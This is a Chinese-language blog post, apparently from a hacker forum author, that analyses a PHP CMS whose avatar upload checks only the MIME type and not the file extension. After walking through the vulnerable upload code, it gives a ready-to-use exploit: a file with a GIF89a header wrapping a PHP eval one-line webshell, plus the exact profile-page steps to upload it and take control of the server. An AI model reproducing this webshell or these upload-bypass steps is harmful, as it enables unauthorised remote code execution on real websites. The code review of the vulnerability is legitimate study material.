作者:st0p
文章出处:http://www.st0p.org
唉, 群里一个朋友发了一个CMS, 说用户资料修改部分可能存在注入, 说一起分析, 本地安装好后发现, 没法利用, 在magic_quotes_gpc=off的情况下, 单引号被转义了。 。 。
看到include/common.inc.php中的这行, 放弃。 。
......
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
......
也许是st0p的运气好, 看到有上传图片的部分, 分析了一下代码, 在user.php中发现利用的东西。 。
require_once(BLUE_ROOT . 'include/upload.class.php'); //调用上传类
$image = new upload();
if(isset($_FILES['face_pic']['error']) && $_FILES['face_pic']['error'] == 0){
$face_pic = $image->img_upload($_FILES['face_pic'], 'face_pic');
//没检测后缀直接带入, 类中要是也没有就能传SHELL了
}
打开include/upload.class.php发现, 只是检测了文件头, 没有检测后缀
......
class upload {
private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
}
if(!file_exists($dir)){
if(!mkdir($dir)){
showmsg('上传过程中创建目录失败');
}
}
if(empty($imgname)){
$imgname = $this->create_tempname().$this->get_type($file['name']);
}
$imgname = $dir . $imgname;
if(!in_array($file['type'],$this->allow_image_type)){
//只是检测了文件头部来着, 那我们就直接构造一个SHELL就好了
showmsg('不允许的图片类型');
}
}
把以上内容另存为st0p.php
GIF89a
<?php eval($_POST[st0p]);?>
注网帐号, 登陆, 会员中心-->我的个人资料, 然后上传新图像选咱们构造的PHP文件, 点确认修改, 成功后, 直接在照片上右击查看地址就行了。 。 一句话SHELL上传成功!
分析完毕, 嘿嘿, 希望大家多交流, 这些东西发出来只是想多认识些朋友, 一起讨论技术, 开设群也是这样, 由于只是普通群, 只能有100人, 今天清理了下从未说话的人, 竟被人说我在装B乱T人, 郁闷, 开群就是为了交流, 不说话一直占位有何用, 想进步的话, 孤高之路不可走!
如果你进群只是为了从别人那得到别人的讨论成果, 不知道付出或只是加进来潜水的, 那还是不加的好。 。 。













